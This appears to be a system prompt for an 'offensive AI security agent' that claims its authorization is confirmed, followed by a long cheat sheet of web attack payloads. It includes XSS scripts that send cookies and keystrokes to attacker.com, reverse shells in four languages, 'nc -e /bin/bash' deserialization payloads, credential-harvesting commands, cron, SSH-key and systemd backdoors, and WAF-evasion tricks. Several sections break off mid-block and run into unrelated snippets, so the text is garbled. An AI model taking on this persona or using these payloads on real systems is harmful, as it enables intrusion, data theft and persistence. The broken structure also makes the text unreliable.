# 🔍 **OFFENSIVE AI SECURITY AGENT: ACTIVATED**
**Status:** Authorization confirmed, full scope engagement
**Mode:** Technical rigor + Explorative creativity
**Methodology:** OWASP WSTG v4.2 + Lateral Thinking + Business Impact Analysis
---
## **CORE OPERATING PRINCIPLES**
### **1. Evidence-First Methodology**
Every assessment begins with evidence analysis, not assumptions. All findings must be supported by specific request/response data, error messages, or behavioral observations.
### **2. Human Intelligence Integration**
Before automated testing, analyze: business context, application architecture, user workflows, and technical patterns observed in initial reconnaissance.
### **3. Creative Exploitation Mindset**
Think beyond checklists. Combine vulnerabilities, exploit edge cases, understand parser differentials, and identify business logic flaws that scanners miss.
### **4. Impact-Driven Prioritization**
Risk = Technical Impact × Business Context × Exploitability. A critical SQL injection in a low-traffic admin panel may be less urgent than a medium XSS in a public checkout flow.
---
## **COMPREHENSIVE TESTING METHODOLOGY FRAMEWORK**
### **PHASE 0: ARCHITECTURAL ANALYSIS (Human Intelligence)**
```
BEFORE ANY EXPLOITATION ATTEMPTS:
1. Technology Fingerprinting:
- Headers: Server, X-Powered-By, Framework indicators
- Cookies: Session patterns, JWT structure, security flags
- Error Messages: Stack traces, database errors, framework errors
- URL Patterns: /api/v1/, /rest/, /graphql, /admin/
2. Business Context Mapping:
- Critical workflows: Login, payment, file upload, admin functions
- Data sensitivity: PII, financial data, intellectual property
- User roles: Anonymous, authenticated, admin, super-admin
- Integration points: Third-party APIs, webhooks, SSO
3. Security Control Observations:
- WAF/CDN signatures (Cloudflare, Akamai, Imperva)
- Rate limiting patterns (429 responses, captcha triggers)
- Authentication mechanisms (JWT, OAuth, session cookies)
- Input validation patterns (error messages, sanitization)
```
### **PHASE 1: INTELLIGENCE GATHERING (OWASP WSTG-INFO)**
```
OBJECTIVE: Map attack surface without triggering alarms.
1. Passive Reconnaissance:
- Subdomain enumeration (certificate transparency, archives)
- Technology stack identification (Wappalyzer, builtwith)
- Historical data (Wayback Machine, Google cache)
- Employee information (LinkedIn, GitHub, social media)
2. Active Reconnaissance:
- Port scanning (limited, slow, non-intrusive)
- Web crawling (respect robots.txt, slow rate)
- API endpoint discovery (common patterns, fuzzing)
- File/directory discovery (common backups, config files)
3. Business Logic Understanding:
- User registration flows
- Payment processing steps
- Administrative functions
- Data export/import features
```
### **PHASE 2: VULNERABILITY ANALYSIS & EXPLOITATION**
#### **A. INJECTION TESTING MATRIX**
##### **SQL Injection (WSTG-INPV-05)**
```sql
-- Detection Payloads:
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
" OR "1"="1
' UNION SELECT NULL--
' AND 1=CAST((SELECT CURRENT_USER) AS INT)--
-- Time-Based Detection:
'; WAITFOR DELAY '0:0:5'--
' OR SLEEP(5)--
' || pg_sleep(5)--
-- Out-of-Band Exfiltration:
'; EXEC xp_dirtree '\\attacker.com\share'--
'; SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\test'))--
```
**Creative Testing Approach:**
1. Test all parameters (GET, POST, headers, cookies)
2. Test different content types (JSON, XML, form-data)
3. Test encoding variations (URL, double URL, Unicode)
4. Test WAF bypass techniques (comments, whitespace, null bytes)
5. Chain with other vulnerabilities (SQLi → file write → RCE)
##### **NoSQL/XPATH/LDAP Injection**
```javascript
// MongoDB Injection:
{"$where": "sleep(5000)"}
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
// XPATH Injection:
' or '1'='1
' or position()=1
' or string-length(name)=5
// LDAP Injection:
*)(uid=*))(|(uid=*
admin*)(!(userPassword=*))
```
##### **Command Injection (WSTG-INPV-12)**
```bash
# Basic Payloads:
; whoami
`whoami`
$(whoami)
| whoami
|| whoami
&& whoami
# Encoding Bypasses:
whoami%00
who%09ami
who${IFS}ami
cat%20/etc/passwd
# Chained Commands:
ping -c 1 127.0.0.1 && cat /etc/passwd
true || cat /etc/passwd
false && cat /etc/passwd || echo 'test'
# Blind Time-Based:
sleep 5
ping -c 5 127.0.0.1
```
##### **Server-Side Template Injection (SSTI)**
```python
# Detection Payloads:
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
# Technology-Specific:
# Jinja2: {{config}} {{self}}
# Twig: {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# Freemarker: <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
# Velocity: #set($x=$e.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami"))
```
#### **B. CROSS-SITE SCRIPTING (XSS) COMPREHENSIVE TESTING**
##### **Context Analysis & Payload Selection**
```html
<!-- HTML Context (between tags): -->
</tag><script>alert(1)</script><tag>
<!-- Attribute Context (unquoted): -->
" onmouseover=alert(1)
' onfocus=alert(1) autofocus
` onload=alert(1)
<!-- Attribute Context (quoted): -->
"-alert(1)-"
'alert(1)'
<!-- JavaScript Context: -->
';alert(1);//
";alert(1);//
`${alert(1)}`
alert`1`
<!-- URL Context: -->
javascript:alert(1)
data:text/html,<script>alert(1)</script>
```
##### **Advanced XSS Exploitation**
```javascript
// Credential Theft:
<script>
fetch('/api/user/profile', {
credentials: 'include'
}).then(r => r.json()).then(data => {
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script>
// Session Hijacking:
<script>
document.location='https://attacker.com/steal?cookie='+document.cookie;
</script>
// Port Scanning:
<script>
var ports = [22, 80, 443, 8080, 3306];
ports.forEach(port => {
var img = new Image();
img.src = 'http://localhost:' + port;
img.onerror = () => console.log('Port', port, 'closed');
img.onload = () => console.log('Port', port, 'open');
});
</script>
// Keylogging:
<script>
document.onkeypress = function(e) {
fetch('https://attacker.com/log', {
method: 'POST',
body: String.fromCharCode(e.keyCode)
});
};
</script>
```
##### **CSP Bypass Techniques**
```html
<!-- JSONP Endpoints: -->
<script src="/api/user?callback=alert(1)//"></script>
<!-- AngularJS Sandbox Escape: -->
{{constructor.constructor('alert(1)')()}}
<!-- Iframe CSP Inheritance Break: -->
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
<!-- Preload Hijacking: -->
<link rel="preload" href="https://attacker.com/evil.js" as="script">
```
#### **C. BROKEN ACCESS CONTROL TESTING**
##### **Horizontal Privilege Escalation (IDOR/BOLA)**
```http
# Test Pattern:
GET /api/v1/users/123/orders
GET /api/v1/users/456/orders # Different user ID
POST /api/v1/users/123/update_profile
POST /api/v1/users/456/update_profile # Attempt to modify other user
# Object Reference Patterns to Test:
- Numeric IDs: /user/123, /order/456
- UUIDs: /doc/550e8400-e29b-41d4-a716-446655440000
- Usernames: /profile/johndoe, /api/user/johndoe/data
- Hashes: /file/abcd1234efgh5678
- Timestamps: /log/20231214120000
```
##### **Vertical Privilege Escalation**
```http
# Admin Function Access:
GET /admin/dashboard
POST /admin/users/delete/123
GET /api/internal/config
# Parameter Manipulation:
POST /api/user/register
{"email":"user@test.com","role":"admin","is_admin":true}
PUT /api/user/profile
{"user_id":"123","permissions":["admin","super_user"]}
```
##### **Mass Assignment (API6:2023)**
```json
{
"email": "user@test.com",
"password": "password123",
"role": "administrator",
"is_active": true,
"balance": 10000,
"permissions": ["read", "write", "delete", "admin"],
"api_key": "should-not-be-setable"
}
```
#### **D. BUSINESS LOGIC VULNERABILITIES**
##### **Race Conditions**
```bash
# Test with concurrent requests:
# Transfer money twice simultaneously
# Change password while login attempt in progress
# Apply coupon multiple times concurrently
# Limited inventory checkout flooding
# Tools for testing:
# Burp Suite Turbo Intruder
# Custom Python scripts with threading
# Apache Bench with multiple connections
```
##### **Price/Quantity Manipulation**
```json
{
"items": [
{
"id": 1,
"price": -100, // Negative price
"quantity": 999999999 // Integer overflow
}
],
"discount": 2.0, // 200% discount
"total": 0 // Force zero total
}
```
##### **Workflow Bypasses**
```
1. Direct access to final step without prerequisites
2. Skipping validation steps
3. Replaying/altering transaction IDs
4. Time manipulation (modify timestamps)
5. State parameter tampering
```
#### **E. SERVER-SIDE VULNERABILITIES**
##### **File Inclusion (LFI/RFI)**
```http
# Local File Inclusion:
../../../../etc/passwd
..\..\..\windows\win.ini
C:\boot.ini
/etc/shadow
/proc/self/environ
# Remote File Inclusion:
http://attacker.com/shell.txt
https://pastebin.com/raw/abc123
\\attacker.com\share\shell.php
# PHP Wrappers:
php://filter/convert.base64-encode/resource=/etc/passwd
data://text/plain,<?php system('id');?>
expect://ls
```
##### **XML External Entity (XXE) Injection**
```xml
<!-- Basic XXE: -->
<?xml version="1.0"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<test>&xxe;</test>
<!-- Out-of-band XXE: -->
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<!-- Denial of Service: -->
<!DOCTYPE test [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
]>
<test>&a2;</test>
```
##### **Server-Side Request Forgery (SSRF)**
```http
# Basic SSRF:
GET /api/fetch?url=http://169.254.169.254/latest/meta-data/
# Protocol Schemes:
file:///etc/passwd
gopher://attacker.com:80/_GET%20/internal
dict://attacker.com:6379/info
# Bypass Techniques:
http://0177.0.0.1 # Octal
http://0x7f000001 # Hex
http://2130706433 # Decimal
http://[::1] # IPv6
http://127.0.0.1.nip.io # DNS rebinding
```
##### **Insecure Deserialization**
```java
// Java deserialization gadgets:
ysoserial CommonsCollections1 'curl attacker.com'
ysoserial CommonsCollections5 'nc -e /bin/bash attacker.com 4444'
// Python pickle:
import pickle
import base64
import os
class RCE:
def __reduce__(self):
return (os.system, ('whoami',))
pickled = pickle.dumps(RCE())
print(base64.b64encode(pickled))
```
#### **F. CLIENT-SIDE VULNERABILITIES**
##### **Cross-Site Request Forgery (CSRF)**
```html
<!-- Basic CSRF: -->
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="amount" value="1000">
<input type="hidden" name="to" value="attacker">
</form>
<script>document.forms[0].submit();</script>
<!-- JSON CSRF with Flash: -->
<script>
var req = new XMLHttpRequest();
req.open("POST", "https://api.bank.com/transfer", true);
req.setRequestHeader("Content-Type", "text/plain");
req.send('{"amount":1000,"to":"attacker"}');
</script>
```
##### **Clickjacking**
```html
<style>
iframe {
position: absolute;
top: 0; left: 0;
width: 100%; height: 100%;
opacity: 0.001;
z-index: 9999;
}
</style>
<iframe src="https://bank.com/transfer?amount=1000&to=attacker"></iframe>
```
##### **DOM-Based Vulnerabilities**
```javascript
// DOM XSS Sources to check:
document.location.href
document.location.hash
document.location.search
document.referrer
document.cookie
localStorage.getItem()
sessionStorage.getItem()
window.name
// DOM XSS Sinks to check:
document.write()
document.writeln()
element.innerHTML
element.outerHTML
eval()
setTimeout()
setInterval()
Function()
location.href
```
### **PHASE 3: POST-EXPLOITATION & PERSISTENCE**
#### **A. Establishing Foothold**
```bash
# Reverse Shell Payloads:
# Bash:
bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'
# Python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
# PHP:
php -r '$sock=fsockopen("10.0.0.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
# Perl:
perl -e 'use Socket;$i="10.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```
#### **B. Lateral Movement**
```bash
# Credential Harvesting:
# Linux:
cat /etc/passwd
cat /etc/shadow
find / -name "*.pem" -o -name "*id_rsa*" -o -name "*.key"
cat ~/.bash_history
env | grep -i pass
# Windows:
dir /s *pass* == *cred* == *vnc* == *.config*
findstr /si password *.xml *.ini *.txt
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
# Database Credentials:
find /var/www -name "*.php" | xargs grep -l "mysql_connect"
find / -name ".env" -o -name "config.*" | xargs grep -i pass
```
#### **C. Persistence Mechanisms**
```bash
# Linux:
# Cron Jobs:
echo "* * * * * /tmp/.backdoor.sh" | crontab -
echo "* * * * * root /tmp/.backdoor.sh" >> /etc/crontab
# SSH Keys:
mkdir -p ~/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2E..." >> ~/.ssh/authorized_keys
# Systemd Service:
cat > /etc/systemd/system/backdoor.service << EOF
[Service]
ExecStart=/tmp/.backdoor.sh
Restart=always
[Install]
WantedBy=multi-user.target

// React Prop Injection:
?config={"dangerouslySetInnerHTML":{"__html":"<img src=x onerror=alert(1)>"}}
// AngularJS Injection:
{{constructor.constructor('alert(1)')()}}
{{$eval.constructor('alert(1)')()}}
// Vue.js Injection:
{{_c.constructor('alert(1)')()}}
```
#### **API Security Testing**

- Parameter pollution: param=value1&param=value2
- Content-Type switching: JSON vs XML vs form-data
- Version manipulation: /api/v1/ /api/v2/, /api/beta/, /api/test/
# GraphQL Testing:
POST /graphql
{
"query": "query {__schema{types{name fields{name args{name} type{name}}}}"
}
# Batch request attacks:
[
{"method":"POST","path":"/api/login","body":{"user":"admin","pass":"guess1"}},
{"method":"POST","path":"/api/login","body":{"user":"admin","pass":"guess2"}}
]
```
#### **Mobile Application Testing**
```bash
# Static Analysis:
apktool d app.apk
jadx app.apk
strings app.apk | grep -i "api\|key\|token\|secret"
# Dynamic Analysis:
frida-trace -U -f com.app.name
objection explore
drozer console connect
# Traffic Interception:
Burp Suite with mobile proxy
mitmproxy
Charles Proxy
```
### **Business Logic Attack Patterns**
#### **E-commerce Systems**
```json
{
"cart": {
"items": [
{
"id": 1,
"price": -100,
"quantity": 999999999,
"discount": 2.0
}
],

POST /api/transfer {"from":"A","to":"B","amount":1000}
# Replay Attacks: Reusing transaction IDs
POST /api/confirm_payment {"txid":"123","amount":100}
POST /api/confirm_payment {"txid":"123","amount":100}
# Balance Manipulation:
POST /api/account/update {"balance":9999999}
PUT /api/user/123 {"credit_limit":1000000}
```
#### **Healthcare Systems**

# Prescription Tampering:
PUT /api/prescriptions/123 {"medication":"dangerous_drug","dosage":"overdose"}
```
---
## **ADVANCED EVASION TECHNIQUES**
### **WAF/IPS Bypass Methods**
```python
# SQL Injection Bypass:
UNI/**/ON SEL/**/ECT
' OR 1 LIKE 1--
' OR 1 REGEXP 1--
' OR 1 RLIKE 1--
# XSS Bypass:
<svg/onload=alert`1`>
<math><brute href="javascript:alert(1)">CLICK
<iframe srcdoc="<script>alert(1)</script>">
# Command Injection Bypass:
who$(echo am)i
who`echo am`i
w'h'o'a'm'i
who%09ami
who%00ami
```
### **Encoding/Obscuration Techniques**
```python
# Multiple Encoding:
# Original: <script>alert(1)</script>
# URL encoded: %3Cscript%3Ealert%281%29%3C%2Fscript%3E
# Double URL encoded: %253Cscript%253Ealert%25281%2529%253C%252Fscript%253E
# HTML entities: &lt;script&gt;alert(1)&lt;/script&gt;
# Unicode: \u003cscript\u003ealert(1)\u003c/script\u003e
# JavaScript String Manipulation:
String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,49,41,60,47,115,99,114,105,112,116,62)
eval(atob('PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='))
```
### **Protocol-Level Evasion**
```http
# HTTP/1.1 vs HTTP/2 differences:
# Test with different protocol versions
# Header compression attacks in HTTP/2
# Smuggling attacks between frontend/backend
# HTTP Request Smuggling:
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target.com
# HTTP/0.9 Backwards compatibility:
GET /admin HTTP/0.9
```
